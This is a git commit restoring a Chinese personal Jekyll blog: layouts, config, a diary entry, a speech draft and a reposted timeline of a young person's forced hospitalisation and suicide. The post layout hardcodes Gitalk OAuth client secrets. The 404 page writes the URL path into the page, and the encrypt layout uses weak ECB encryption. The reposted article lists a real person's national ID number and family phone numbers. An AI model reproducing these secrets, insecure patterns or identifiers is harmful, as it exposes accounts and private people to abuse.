Restore deleted repositories

master
mayx 3 years ago
commit f4aa957c53

@ -0,0 +1,6 @@
---
layout: default
title: 404 - 找不到页面
---
# 找不到页面
你访问的资源 <code><script>document.write(window.location.pathname)</script></code> 不存在或者可能已经被永久移除。

@ -0,0 +1,4 @@
<?xml version="1.0"?>
<users>
<user>0ADFCE64B3557DC4DC5F2DC224C5FDDD</user>
</users>

@ -0,0 +1,139 @@
---
---
<svg
width="495"
height="195"
viewBox="0 0 495 195"
fill="none"
xmlns="http://www.w3.org/2000/svg"
>
<style>
.header {
font: 600 18px 'Segoe UI', Ubuntu, Sans-Serif;
fill: #fff;
animation: fadeInAnimation 0.8s ease-in-out forwards;
}
.stat {
font: 600 14px 'Segoe UI', Ubuntu, "Helvetica Neue", Sans-Serif; fill: #9f9f9f;
}
.stagger {
opacity: 0;
animation: fadeInAnimation 0.3s ease-in-out forwards;
}
.rank-text {
font: 800 100px 'Segoe UI', Ubuntu, Sans-Serif; fill: #66ccff;
animation: scaleInAnimation 0.3s ease-in-out forwards;
}
.bold { font-weight: 700 }
.icon {
fill: #79ff97;
display: block;
}
/* Animations */
@keyframes scaleInAnimation {
from {
transform: translate(-5px, 5px) scale(0);
}
to {
transform: translate(-5px, 5px) scale(1);
}
}
@keyframes fadeInAnimation {
from {
opacity: 0;
}
to {
opacity: 1;
}
}
</style>
<rect
data-testid="card-bg"
x="0.5"
y="0.5"
rx="4.5"
height="99%"
stroke="#e4e2e2"
width="494"
fill="#151515"
stroke-opacity="1"
/>
<g
data-testid="card-title"
transform="translate(25, 35)"
>
<g transform="translate(0, 0)">
<text
x="0"
y="0"
class="header"
data-testid="header"
>Mayx's Blog Article</text>
</g>
</g>
<g
data-testid="main-card-body"
transform="translate(0, 55)"
>
<g transform="translate(370, 47.5)">
<g class="rank-text">
<text
x="0"
y="0"
alignment-baseline="central"
dominant-baseline="central"
text-anchor="middle"
>
M
</text>
</g>
</g>
<svg x="0" y="0">
<g transform="translate(0, 0)">
<g class="stagger" style="animation-delay: 450ms" transform="translate(25, 0)">
<line x1="12" y1="6.25" x2="19" y2="6.25"
style="stroke:rgb(255,255,255);stroke-width:2"/>
<text class="stat bold" x="25" y="12.5">{{ site.posts[0].title }}</text>
</g>
</g><g transform="translate(0, 25)">
<g class="stagger" style="animation-delay: 600ms" transform="translate(25, 0)">
<line x1="12" y1="6.25" x2="19" y2="6.25"
style="stroke:rgb(255,255,255);stroke-width:2"/>
<text class="stat bold" x="25" y="12.5">{{ site.posts[1].title }}</text>
</g>
</g><g transform="translate(0, 50)">
<g class="stagger" style="animation-delay: 750ms" transform="translate(25, 0)">
<line x1="12" y1="6.25" x2="19" y2="6.25"
style="stroke:rgb(255,255,255);stroke-width:2"/>
<text class="stat bold" x="25" y="12.5">{{ site.posts[2].title }}</text>
</g>
</g><g transform="translate(0, 75)">
<g class="stagger" style="animation-delay: 900ms" transform="translate(25, 0)">
<line x1="12" y1="6.25" x2="19" y2="6.25"
style="stroke:rgb(255,255,255);stroke-width:2"/>
<text class="stat bold" x="25" y="12.5">{{ site.posts[3].title }}</text>
</g>
</g><g transform="translate(0, 100)">
<g class="stagger" style="animation-delay: 1050ms" transform="translate(25, 0)">
<line x1="12" y1="6.25" x2="19" y2="6.25"
style="stroke:rgb(255,255,255);stroke-width:2"/>
<text class="stat bold" x="25" y="12.5">{{ site.posts[4].title }}</text>
</g>
</g>
</svg>
</g>
</svg>

@ -0,0 +1,37 @@
---
layout: default
---
# Mayx的博客
Mayx's Home Page
Powered by [Jekyll](https://github.com/jekyll/jekyll)
## 使用的开源项目
[Jekyll](https://github.com/jekyll/jekyll)
[jQuery](https://github.com/jquery/jquery)
[gitalk](https://github.com/gitalk/gitalk)
[minimal](https://github.com/pages-themes/minimal)
[jekyll-toc](https://github.com/allejo/jekyll-toc)
[Live2dHistoire](https://github.com/eeg1412/Live2dHistoire)
[Simple-Jekyll-Search](https://github.com/christian-fei/Simple-Jekyll-Search)
## 使用的网络资源
[Github](https://github.com/) | 包含:
- Issue
- Pages
- Git
- [Git.io](https://git.io/)
[网易云音乐](https://music.163.com/)
[一言](https://hitokoto.cn/)
[jsDelivr](https://www.jsdelivr.com/)
[CDNJS](https://cdnjs.com/)
[unpkg](https://unpkg.com/)
## 版权声明
未经作者同意,请勿转载
若需转载,请联系作者(主要希望找人聊天~
本站转载的文章如无特别说明,均按原文章的协议执行
## 打赏/赞助 Mayx
![QRCode](/images/QRCode.png)

@ -0,0 +1,13 @@
theme: jekyll-theme-minimal
title: Mayx的博客
logo: https://avatars0.githubusercontent.com/u/17966333
author: mayx
timezone: Asia/Shanghai
excerpt_separator: <!--more-->
paginate: 7
plugins:
- jekyll-sitemap
- jekyll-feed
feed:
path: atom.xml
google_analytics: UA-137710294-1

@ -0,0 +1,95 @@
{% capture tocWorkspace %}
{% comment %}
Version 1.0.7
https://github.com/allejo/jekyll-toc
"...like all things liquid - where there's a will, and ~36 hours to spare, there's usually a/some way" ~jaybe
Usage:
{% include toc.html html=content sanitize=true class="inline_toc" id="my_toc" h_min=2 h_max=3 %}
Parameters:
* html (string) - the HTML of compiled markdown generated by kramdown in Jekyll
Optional Parameters:
* sanitize (bool) : false - when set to true, the headers will be stripped of any HTML in the TOC
* class (string) : '' - a CSS class assigned to the TOC
* id (string) : '' - an ID to assigned to the TOC
* h_min (int) : 1 - the minimum TOC header level to use; any header lower than this value will be ignored
* h_max (int) : 6 - the maximum TOC header level to use; any header greater than this value will be ignored
* ordered (bool) : false - when set to true, an ordered list will be outputted instead of an unordered list
* item_class (string) : '' - add custom class(es) for each list item; has support for '%level%' placeholder, which is the current heading level
* baseurl (string) : '' - add a base url to the TOC links for when your TOC is on another page than the actual content
* anchor_class (string) : '' - add custom class(es) for each anchor element
Output:
An ordered or unordered list representing the table of contents of a markdown block. This snippet will only
generate the table of contents and will NOT output the markdown given to it
{% endcomment %}
{% capture my_toc %}{% endcapture %}
{% assign orderedList = include.ordered | default: false %}
{% assign minHeader = include.h_min | default: 1 %}
{% assign maxHeader = include.h_max | default: 6 %}
{% assign nodes = include.html | split: '<h' %}
{% assign firstHeader = true %}
{% capture listModifier %}{% if orderedList %}1.{% else %}-{% endif %}{% endcapture %}
{% for node in nodes %}
{% if node == "" %}
{% continue %}
{% endif %}
{% assign headerLevel = node | replace: '"', '' | slice: 0, 1 | times: 1 %}
{% if headerLevel < minHeader or headerLevel > maxHeader %}
{% continue %}
{% endif %}
{% if firstHeader %}
{% assign firstHeader = false %}
{% assign minHeader = headerLevel %}
{% endif %}
{% assign indentAmount = headerLevel | minus: minHeader | add: 1 %}
{% assign _workspace = node | split: '</h' %}
{% assign _idWorkspace = _workspace[0] | split: 'id="' %}
{% assign _idWorkspace = _idWorkspace[1] | split: '"' %}
{% assign html_id = _idWorkspace[0] %}
{% assign _classWorkspace = _workspace[0] | split: 'class="' %}
{% assign _classWorkspace = _classWorkspace[1] | split: '"' %}
{% assign html_class = _classWorkspace[0] %}
{% if html_class contains "no_toc" %}
{% continue %}
{% endif %}
{% capture _hAttrToStrip %}{{ _workspace[0] | split: '>' | first }}>{% endcapture %}
{% assign header = _workspace[0] | replace: _hAttrToStrip, '' %}
{% assign space = '' %}
{% for i in (1..indentAmount) %}
{% assign space = space | prepend: ' ' %}
{% endfor %}
{% unless include.item_class == blank %}
{% capture listItemClass %}{:.{{ include.item_class | replace: '%level%', headerLevel }}}{% endcapture %}
{% endunless %}
{% capture my_toc %}{{ my_toc }}
{{ space }}{{ listModifier }} {{ listItemClass }} [{% if include.sanitize %}{{ header | strip_html }}{% else %}{{ header }}{% endif %}]({% if include.baseurl %}{{ include.baseurl }}{% endif %}#{{ html_id }}){% if include.anchor_class %}{:.{{ include.anchor_class }}}{% endif %}{% endcapture %}
{% endfor %}
{% if include.class %}
{% capture my_toc %}{:.{{ include.class }}}
{{ my_toc | lstrip }}{% endcapture %}
{% endif %}
{% if include.id %}
{% capture my_toc %}{: #{{ include.id }}}
{{ my_toc | lstrip }}{% endcapture %}
{% endif %}
{% endcapture %}{% assign tocWorkspace = '' %}{{ my_toc | markdownify | strip }}

@ -0,0 +1,154 @@
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
{% seo %}
{% feed_meta %}
<link rel="stylesheet" href="{{ "/assets/css/style.css?v=" | append: site.github.build_revision | relative_url }}">
<!--[if !IE]> -->
<link rel="stylesheet" href="/Live2dHistoire/live2d/css/live2d.css" />
<!-- <![endif]-->
<script src="//cdn.jsdelivr.net/npm/jquery@1.9.1/jquery.min.js"></script>
<!--[if lt IE 9]>
<script src="//cdnjs.cloudflare.com/ajax/libs/html5shiv/3.7.3/html5shiv.min.js"></script>
<![endif]-->
{% if site.google_analytics %}
<!-- Global site tag (gtag.js) - Google Analytics -->
<script async src="https://www.googletagmanager.com/gtag/js?id={{ site.google_analytics }}"></script>
<script>
window.dataLayer = window.dataLayer || [];
function gtag(){dataLayer.push(arguments);}
gtag('js', new Date());
gtag('config', '{{ site.google_analytics }}');
var lastUpdated = new Date("{{ site.time | date: "%FT%T%z" }}");
Date.prototype.format = function(fmt) {
var o = {
"M+" : this.getMonth()+1, //月份
"d+" : this.getDate(), //日
"h+" : this.getHours(), //小时
"m+" : this.getMinutes(), //分
"s+" : this.getSeconds(), //秒
"q+" : Math.floor((this.getMonth()+3)/3), //季度
"S" : this.getMilliseconds() //毫秒
};
if(/(y+)/.test(fmt)) {
fmt=fmt.replace(RegExp.$1, (this.getFullYear()+"").substr(4 - RegExp.$1.length));
}
for(var k in o) {
if(new RegExp("("+ k +")").test(fmt)){
fmt = fmt.replace(RegExp.$1, (RegExp.$1.length==1) ? (o[k]) : (("00"+ o[k]).substr((""+ o[k]).length)));
}
}
return fmt;
}
</script>
{% endif %}
<style>
.backToTop {
display: none;
width: 18px;
line-height: 1.2;
padding: 5px 0;
background-color: #000;
color: #fff;
font-size: 12px;
text-align: center;
position: fixed;
_position: absolute;
right: 10px;
bottom: 100px;
_bottom: "auto";
cursor: pointer;
opacity: .6;
filter: Alpha(opacity=60);
}
</style>
</head>
<body>
<div class="wrapper">
<header>
<h1><a href="{{ "/" | relative_url }}">{{ site.title | default: site.github.repository_name }}</a></h1>
{% if site.logo %}
<img src="{{ site.logo | relative_url}}" alt="Logo" />
{% endif %}
<p>{{ site.description | default: site.github.project_tagline }}</p>
<p><form action="/search.html"><input type="text" name="keyword" id="search-input-all" placeholder="Search blog posts.."> <input type="submit"></form></p>
{% if site.github.is_project_page %}
<p class="view"><a href="{{ site.github.repository_url }}">View the Project on GitHub <small>{{ site.github.repository_nwo }}</small></a></p>
{% endif %}
{% if site.github.is_user_page %}
<p class="view"><a href="{{ site.github.owner_url }}">View My GitHub Profile</a></p>
{% endif %}
<a href="{{ "/Mabbs/" | relative_url }}">About Me</a>
</header>
<section>
{{ content }}
</section>
<!--[if !IE]> -->
<div id="landlord" style="left:5px;bottom:0px;">
<div class="message" style="opacity:0"></div>
<canvas id="live2d" width="500" height="560" class="live2d"></canvas>
<div class="live_talk_input_body">
<div class="live_talk_input_name_body" style="display:none;">
<input name="name" type="hidden" class="live_talk_name white_input" id="AIuserName" value="Mayx_Blog_Talk" />
</div>
<div class="live_talk_input_text_body">
<input name="talk" type="text" class="live_talk_talk white_input" id="AIuserText" autocomplete="off" placeholder="要和我聊什么呀?"/>
<button type="button" class="live_talk_send_btn" id="talk_send">发送</button>
</div>
</div>
<input name="live_talk" id="live_talk" value="1" type="hidden" />
<div class="live_ico_box" style="display:none;">
<div class="live_ico_item type_info" id="showInfoBtn"></div>
<div class="live_ico_item type_talk" id="showTalkBtn"></div>
<div class="live_ico_item type_music" id="musicButton"></div>
<div class="live_ico_item type_youdu" id="youduButton"></div>
<div class="live_ico_item type_quit" id="hideButton"></div>
<input name="live_statu_val" id="live_statu_val" value="0" type="hidden" />
<audio src="" style="display:none;" id="live2d_bgm" data-bgm="0" preload="none"></audio>
<input id="duType" value="douqilai" type="hidden">
</div>
</div>
<div id="open_live2d">召唤伊斯特瓦尔</div>
<!-- <![endif]-->
<footer>
{% if site.github.is_project_page %}
<p>This project is maintained by <a href="{{ site.github.owner_url }}">{{ site.github.owner_name }}</a></p>
{% endif %}
<p><small>Made with ❤ by Mayx<br />Last updated at <script>document.write(lastUpdated.format("yyyy-MM-dd hh:mm:ss"));</script><br /> 总字数:{% assign count = 0 %}
{% for post in site.posts %}
{% assign single_count = post.content | strip_html | strip_newlines | remove: " " | size %}
{% assign count = count | plus: single_count %}
{% endfor %}
{% if count > 10000 %}
{{ count | divided_by: 10000 }} 万 {{ count | modulo: 10000 }}
{% else %}
{{ count }}
{% endif %} - 文章数:{% for post in site.posts %}
{% assign co = co | plus: 1 %}
{% endfor %}{{ co }} - <a href="{{ "/atom.xml" | relative_url }}" >Atom</a> - <a href="{{ "/README.html" | relative_url }}" >About</a></small></p>
</footer>
</div>
<script src="{{ "/assets/js/scale.fix.js" | relative_url }}"></script>
<script src="/js/main.js"></script>
<!--[if !IE]> -->
<script src="/Live2dHistoire/live2d/js/live2d.js"></script>
<script src="/Live2dHistoire/live2d/js/message.js"></script>
<!-- <![endif]-->
</body>
</html>

@ -0,0 +1,55 @@
---
layout: post
---
<script src="/js/aes.js"></script>
<script>
function getByteLen(val) {
var len = 0;
for (var i = 0; i < val.length; i++) {
if (val[i].match(/[^\x00-\xff]/ig) != null) len += 3;
else len += 1;
}
return len;
}
function onbtnDecrypto() {
var encryptedData = "{{ content | strip_html | strip_newlines }}";
var keyword = document.getElementById("inputkey").value;
if (keyword.replace(/(^\s*)|(\s*$)/g, "") == '') {
alert("请输入密码!");
return;
}
while (getByteLen(keyword) % 8 != 0) {
keyword = keyword + "\0";
}
var key = CryptoJS.enc.Utf8.parse(keyword);
var encryptedHexStr = CryptoJS.enc.Hex.parse(encryptedData);
var encryptedBase64Str = CryptoJS.enc.Base64.stringify(encryptedHexStr);
var decryptedData = CryptoJS.AES.decrypt(encryptedBase64Str, key, {
mode: CryptoJS.mode.ECB,
padding: CryptoJS.pad.Pkcs7
});
if (decryptedData.sigBytes < 0) {
document.getElementById("output").innerHTML = "解密失败密文或者key错误!";
return;
}
try {
decryptedData.toString(CryptoJS.enc.Utf8)
} catch(e) {
document.getElementById("output").innerHTML = "解密失败密文或者key错误!";
return;
}
var decryptedStr = decryptedData.toString(CryptoJS.enc.Utf8);
document.getElementById("output").innerHTML = decryptedStr;
document.getElementById("pwinput").style.display = "none";
}
</script>
<div id="pwinput">{{ page.tips | default: "请输入密码:" }}<br />
<input id="inputkey" type="password" /> <button onclick="onbtnDecrypto()">解密</button>
</div>
<div id="output"></div> <br />

@ -0,0 +1,90 @@
---
layout: default
---
<small>{{ page.date | date: "%-d %B %Y" }} - 字数统计:{% if page.layout == "encrypt" %}God Knows {% else %}{{ page.content | strip_html | strip_newlines | remove: " " | size }} - 阅读大约需要{{ page.content | strip_html | strip_newlines | remove: " " | size | divided_by: 350 | plus: 1 }}分钟{% endif %} - Hits: <span id="{{ page.url }}" class="visitors" >Loading...</span>
</small>
<h1>{{ page.title }}</h1>
<p class="view">by <a href="//github.com/{{ page.author | default: "Mabbs" }}">{{ page.author | default: site.author }}</a></p>
<div id="outdate" style="display:none;">
<hr />
这是一篇创建于 <span id="outime"></span> 天前的文章,其中的信息可能已经有所发展或是发生改变。
<br /><br />
</div>
<script>
BirthDay = new Date("{{ page.date | date: "%m/%d/%Y" }} 00:00:00");
today = new Date();
timeold = (today.getTime() - BirthDay.getTime());
secondsold = Math.floor(timeold / 1000);
e_daysold = timeold / (24 * 60 * 60 * 1000);
daysold = Math.floor(e_daysold);
if (daysold > 90) {
document.getElementById("outdate").style.display = "block";
document.getElementById("outime").innerHTML = daysold;
}
</script>
<hr />
{% include toc.html html=content sanitize=true %}
{{content}}
{% if page.tags %}
<small>tags: <em>{{ page.tags | join: "</em> - <em>" }}</em></small>
{% endif %}
<div class="pagination">
{% if page.previous.url %}
<span class="prev" >
<a href="{{ site.baseurl }}{{ page.previous.url }}">
上一篇:{{ page.previous.title }}
</a>
</span>
{% endif %}
<br />
{% if page.next.url %}
<span class="next" >
<a href="{{ site.baseurl }}{{ page.next.url }}">
下一篇:{{ page.next.title }}
</a>
</span>
{% endif %}
</div>
<!--[if !IE]> -->
<link rel="stylesheet" href="//cdn.jsdelivr.net/npm/gitalk/dist/gitalk.css">
<script src="//cdn.jsdelivr.net/npm/gitalk/dist/gitalk.min.js"></script>
<div id="gitalk-container"></div>
<script>
if (window.location.host != "mabbs.github.io")
{
var gitalk = new Gitalk({
clientID: '098934a2556425f19d6e',
clientSecret: '0bd44eed8425e5437ce43c4ba9b2791fbc04581d',
repo: 'mabbs.github.io',
owner: 'Mabbs',
admin: ['Mabbs'],
id: '{{ page.id }}', // Ensure uniqueness and length less than 50
distractionFreeMode: false // Facebook-like distraction free mode
})
}
else
{
var gitalk = new Gitalk({
clientID: '36557aec4c3cb04f7ac6',
clientSecret: 'ac32993299751cb5a9ba81cf2b171cca65879cdb',
repo: 'mabbs.github.io',
owner: 'Mabbs',
admin: ['Mabbs'],
id: '{{ page.id }}', // Ensure uniqueness and length less than 50
distractionFreeMode: false // Facebook-like distraction free mode
})
}
gitalk.render('gitalk-container')
</script>
<!-- <![endif]-->

@ -0,0 +1,13 @@
---
layout: post
title: 2015.2.23日记
tags: [日记]
---
今天是2015年2月23日离开学还有5天<!--more-->
今天我修好了我的U盘之前我的U盘在一个太阳黑子盛发的时期坏掉了我感到十分难过于是写了一篇议论文和短篇小说纪念它然后就半坏半好的用。就在今天我去了我大伯家发现我的U盘中那个坏掉了的那个文件夹突然能读了这还是那个王哥哥的功劳呢如果不是我展示我U盘坏掉的情况我还不知道我的U盘竟不自动断线了。于是我使用了CHKDSK修复了我的U盘结果所有问题解决了。就是留下了一个不知名的文件i怎么也删不掉。
昨天我打算玩爷爷的电脑,结果打不开,于是我在今天看了看电脑,拿下来一通电,结果可以启动了。然后我很高兴,安上后,一打开显示器又不能用了,于是我猜这是显卡的问题,然后我关了显示器,打开了电脑后又开了显示器,结果好了,于是我就在这台电脑写了我今天的日记。
快开学了,我写一个假期小结
这个假期一共30天去了4个城市对手机的了解更深了。比如partition分区mount挂载prop设置变量。而且我还因此弄坏了手机。在2015年的2月18日。我以错误的方式挂载了boot分区结果……boot分区被我玩坏了。手机是靠boot分区进行启动的结果我还脑残的重启了。于是在2015年的春节我一整天都想着我的手机。终于在春节的下午我去了二姨家使用了电脑花了10秒修好了手机。于是我知道了mount是个危险命令。不过在弄坏手机之前我还做了一件事那就是在手机上装windows3.2中文版这是第一个推广到中国的windows系统。首先我装了DOSBOX模拟DOS环境然后在这个上面安了CCED并正常的运行了我很高兴。然后在手机上下载了win3.2系统的安装包没有电脑的帮助安装了win3.2,证明了电脑就是一垃圾,便携式手持设备才是信息的未来,于是我就弄坏了手机,证明失败了……虽然我没去旅游,但我这个假期还是很有意思的。

@ -0,0 +1,213 @@
---
title: (转)关于Neko与羽毛的记录
layout: post
author: gledos
tags: [Neko, 羽毛]
---
## 序:
吸取经验,为了每一个人的明天。
>如果有一天我消失了,我想我是死在为自由而战的冲锋路上, 而这不是一个人的悲剧。
>
>——亚伦斯沃茨
<!--more-->
(待续)
# 张千叶发布的想法的时间轴
1. `2018-03-14 02:52` 张千叶在知乎上发表了[想法](https://www.zhihu.com/pin/957297608381730816)
>先要咨询一个问题
<br />我的朋友 @Ayaka Neko 在火车站被父母带走了。
<br />其父母原因是要将其带回云南老家住院,而其本人倾向于去北京的医院。
<br />其中 @Ayaka Neko 已经成年,并且上精卫和北六没有给出住院意见(开了文拉法辛)
<br />我上前争辩的时候被其父亲诬陷为协助自杀,但实际上当事人称其药量都是正常并且自愿服用,我(未成年)争辩几 句之后遭到殴打导致眼角出血,整个过程警察在场,因为赶火车没能走流程。
<br />那么,已经父母有权利强制将已经成年的子女带回家/住院吗?
<br />有权利殴打未成年人吗?我选择不走流程的情况下可否让监护人代为走流程?
<br />现在我与她已经没有联系方式,其父母关掉了通话,一个关机一个只有留言,当事人手机遗失。
<br />她曾经口头说过与其父断绝关系,并且其父承认(在做 CT 扫描和其他医疗费用的时候拒绝支付,也未支付生活费)。
<br />那么现在该怎么办?怎么帮到她呢?需要上法庭吗?
2. `03-14 03:01` 张千叶回复
>个人建议报警
>
>现在是我不清楚行踪,原本是我们去保定,但是她没有上车,所以我不清楚怎么弄。
<br />另外这个算是用什么理由报警呢?我眼角的伤不是很重,留了点血的程度。
<br />我还可以补充的是他家庭是离异家庭,离婚协议中监护权归属于其母,但是据一个未公开/不明的协议,转给了他爸爸(不确定)。
<br />她有社交恐惧和一些人格障碍所以很依赖我,我很担心。
<br />现在是,我以什么理由报警?其父曾说过这是我们家的事情你就不要管这行的话,并且态度极其差。
3. `03-14 03:04` 补充
>还可以补充的是有一次换药反应过大打了 120我先打的其父电话她父亲第一反应是诈骗然后她用云南家乡话和特有的称呼说是她其父称 「我没这义务」 救护车和毒理化验都是我和朋友垫付,从头到尾没有任何支付的意愿。
4. `03-14 19:34` bc
>通过我的父母和 Ayaka Neko的父母的交谈得知她被带回云南省红河哈尼族彝族自治州个旧市而不是双方与警官所协商的去上海市精神卫生中心做检查。
<br />想哭。
3. `03-14 20:03`
>现在说一下,有人证,有警官协商录音,还有医院处方单+支付宝记录(能看出来不是其父亲付款)
<br />大家看看还要啥呢
4. `03-14 23:18`
>先说一下吧,我个人,除开 Neko 家庭问题。在 Neko 被夹走的时候我阻拦了一下,然后被揪住头发一拳打中右眼,现在右眼左眼睑发炎并且右眼视力下降严重,然后一脚踢中我肾左右的部位并让我疼了一天,明天去医院做一下鉴定看看。
5. `3-15 11:48` bc
>暂时联系上了,不清楚情况。
<br />我目前在医院。
6. `3-15 15:35`
>目前准备到的是法医拍照,当时伤口的照片,三名证人,以及全家的录像和警察执法记录仪的录像。
9. `3-15 22:10`
>我联系上
<br />@Ayaka Neko
<br />了。
<br />目前她因为文拉法辛的戒断反应在医院,出院之后应该就没事了……
<br />好想她。
<br />好想她啊……
10. `03-16 02:23`
>现在
<br />@Ayaka Neko
<br />因为文拉法辛戒断(其父母未携带)被送往昆明急救,据称要做 MECT 和 MRI具体情况看起来还好开放病房。
11. `03-16 09:11`
>联系不上。正在打医院的号码。
12. `03-16 10:24`
>[查看图片](https://pic2.zhimg.com/v2-745039e4e818cbc3242d1586fa4bde09_qhd.jpg) 附张图,已在法医拍照并鉴定。
13. `03-16 13:46`
>然后现在被他父亲威胁可能被打。
<br />还说什么地头蛇之类的。
14. `03-16 13:48`
>貌似是个房地产商,有什么建议么?
15. `03-17 01:00`
>到达医院,这里像看守所
16. `03-17 11:15`
>扑空了,她被父母提前出院了……
17. `03-17 左右`
>我有她本人的姓名身份证,她手机丢失。
<br />她父母亲和姑姑的电话,被拉黑。
<br />知道她有两个家庭住址,但是在两个城市。
<br />目前她帐号一小时上一次,只读消息不回复,怀疑不是本人。
<br />现在不知道怎么做了。
18. `03-18 左右`
>报警之后警察表示也打不通,并且不受理案件。
>律师建议去住址寻找。
>
>......
>
>求助中心电话能给一下吗。
>她之前答应我两个星期的。
>也是我最大的努力了吧……
>
>......
>
>说明了,警察说就算是成年人也可以被父母强制带走。管不了
>
>......
>
>他们说。只要有抑郁症,任何程度的,不论开不开那个无行为能力证明,父母都可以带走/入院
19. `03-18 00:24`
>强制传唤证人居然不包括被告子女…
20. `03-18 16:35`
>彻底找不到了啊……彻底断了啊……
21. `03-17 21:09`
>我这边说下…
<br />报案测试过了,只要他们知道带走的是监护人就不会管,并如果得知有抑郁症的话更不会管…已经对警方感到绝望了。
22. `03-19 左右`
>警方认为抑郁症病人不算完全行为能力的样子,并且认为她在父母身边绝对安全
>
>......
>
>直接报案:对方是监护人有权带走
<br />说明情况:对方还有抑郁症呢,监护人当然能带走了
23. `03-20 15:03`
>右眼已经报废。
24. `03-20 22:45`
>其实算个好消息?右眼视力看不清之后可以考虑戴个眼罩或者换个玻璃珠?
>
>......
>
>视力基本为零~
<br />医生建议戴眼镜
25. `03-23 23:13 之前一段时间可能是23:06` 已被删除,已保存到[wayback](http://web.archive.org/web/20180326112045/https://www.zhihu.com/pin/960671306164994048)
>那就把这里当成最后一点希望了吧。
<br />@Ayaka Neko张恩辅 532501199903240612
<br />被她父亲张竣于三月十六日凌晨一点入住了云南心理卫生中心,并之后被带走
<br />目前最后已知地点/消息为云南昆明安宁市好孩子三生教育培训学校。
<br />她手机处于丢失状态。其父母拒绝联系…
<br />她父亲联系方式为 13888320678 母亲为 13887310860
<br />尝试过报警了…没什么用呢。
<br />我也做不到什么了呢。
<br />如果需要更多资料可以私信我
<br />如果我还活着的话。
26. `03-24 17:30`
>Ayaka Neko
<br />自杀了。
27. `03-24 17:34`
>Ayaka Neko
<br />今天下午两点三十四分,抢救无效死亡
>
>轻伤二级。视力严重下降,加鼻骨骨折。
<br />视力从 1.0 到三百五十度近视。
28. `03-26 下午11点左右` **樊郕** 回复一位在想法下留言的用户
>我是她的家人,我是她的妹妹,她有严重的抑郁症,且每天过量服药,雌性激素和抗焦虑的药,这个你们知道?送去医院是为了让她不要吃药,还有心理辅导,面子?你并不是其中的人,不知道有多痛苦,请不要站着说话不腰疼,也不要妄自揣测,更不要当键盘侠,谢谢
# 温柔——热点扩散
1. `03-24 17:43`
[今天向我求助的张恩辅同学,现已离世。](https://web.archive.org/web/20180326111214/http://webcache.googleusercontent.com/search?q=cache:IlDL3pSsxA4J:https://zhuanlan.zhihu.com/p/34901296&num=1&strip=0&vwsrc=0)。~~内容已删除~~快照里看出在20分钟内有69条评论和230个赞。
>通过朋友向我求助 @Ayaka Neko 张恩辅同学现已离世,刚刚和她妈妈通过电话,她在家中自杀,抢救无效结束了自己的生命。
>
>对不起,我没能帮到她,没能把她救出来。
>
>我应该早一些看到的,如果再早些报警的话,可能就不会闹到这种地步。
>
>我们也不能冤枉任何一个好人,安宁市好孩子教育学校是一所正规的学校,没有接收张恩辅同学,她是回到家里才做的这一切。
>
>我也没办法再苛责她那几乎哭到失声的母亲,和她的父亲。
>
>**只能够说,这是家庭教育和沟通不足导致的悲剧,每一个父母一定要尊重孩子的意愿,并耐心和孩子沟通,强硬的暴力、训斥会影响到孩子们的身心健康,甚至会发生比如现在这样的悲剧。**
>
>**请各位家长们一定要引以为戒!**
>
>(完)
>
>明天我会整理一下,把这件事的经过写出来,希望能够纪录下来这一切。
>
>张恩辅同学,这个世界对你太不公平了,真的非常对不起,我知道的太晚了,如果我再早一些知道,再早一些采取措施,说不定就能救你出来,真的很对不起。
2. `19:13`[希望这场悲剧能让家长们引以为戒,请尊重孩子!](https://zhuanlan.zhihu.com/p/34901959)
(未完待续)
<!--
这是记录知乎ID为[Ayaka Neko](https://www.zhihu.com/people/75678efb7fce3f1907999482da9af890)、推特ID为[]()
-->
***
注:
源地址:<https://gledos.science/neko.html>
Neko的博客<https://neko.ayaka.moe/>
备份:<https://github.com/nekomeowww/nekomeowww.github.io>
羽毛的博客:<https://oao.moe/> 解析IP:45.32.10.83
备份:<https://github.com/zhangyubaka/zhangyubaka.github.io>

@ -0,0 +1,44 @@
---
layout: post
title: 编程与设计(演讲稿)
categories: [演讲稿]
tags: [编程, 设计, 演讲, 程序]
---
大家好我是mayx今天由我来带领大家了解计算机编程的本质和程序设计。<!--more-->
当提到电脑时,大家首先想到的什么呢?打游戏?聊天?……没有问题。你们享用了电脑所带来的便利,有考虑过它的原理吗?当然,有些东西是不需要知道原理的,毕竟即使你不知道互联网传输协议也可以上网,不知道焦耳定律也可以做饭嘛……但是,我希望今天大家听了我的讲座后,能知道了解其原因后能更好的利用它们。
首先,今天我要讲的东西有以下三大类:一、计算机简介;二、编程;三、设计。
对于计算机,我想大家已经了解很多了吧,在这里我不做过多的介绍,只讲一下比较少见的知识。
大家都知道IT信息技术对吧我们有一门课就是信息技术不过你们知道CS吗我要讲的CS可不是反恐精英而是计算机科学Computer Science。CS只是和IT有交集吧IT研究的不只是计算机包括发邮件等通信方式不过想来主要还是应用了计算机科学。有很多人总会把它们误用就好像动画和动漫不是一种东西一样。
接下来我要讲的是计算机科学中的硬件部分。不过我的物理不是很好所以硬件部分我不会讲太多我想大家也都应该知道计算机大概都是由什么组成吧从微观上来说就是由硅做半导体部分铜银金等导电金属作为主要的电能以及信号传导等等的电路……往大了讲就是CPU中央处理器Central Processing Unit、内存、外存、主板、I/O输入输出 Input/Output等作为主要部分的机器。而更细的东西我也不了解逻辑电路什么的如果有会在Minecraft上做红石电路的人也许还能讲讲CPU的运行原理吧……
硬件的组成,也就是计算机组成体系,关于这一方面,大家应该都知道冯·诺依曼结构的计算机吧,我们平时用的电脑就是这个架构的,我相信只要了解一些计算机的人应该都知道这些。不过我觉得应该很少有人知道哈佛结构吧,它和冯氏很相似,只不过它的并行处理能力更好一些,因为冯氏结构不能同时读取指令和数据,而哈氏结构可以。手机一般就用的是这个结构的。
硬件部分我就讲到这里吧,想要了解更多有关硬件方面的信息,问物理老师都比我靠谱。
接下来就是软件部分了,程序是软件的子集。那么接下来我就来讲讲如何写程序吧。
首先,什么是编程?编程就是编写程序的简称,编写程序是为了解决一些需要运算而得出结果的东西。毕竟是计算机嘛,本质上就是为了运算而产生的。但是,并不是说程序只能在电脑上运行,人脑也可以,甚至是用多米诺骨牌之类的东西都可以执行程序。只是计算机的运算速度比它们都快,所以一般的程序都是在电脑上运行的。只有一些丧心病狂的面试官和考官才会让人脑去想计算结果呢。而让非计算机的东西执行程序,不是为了研究计算机的组成就是一些极客了吧……
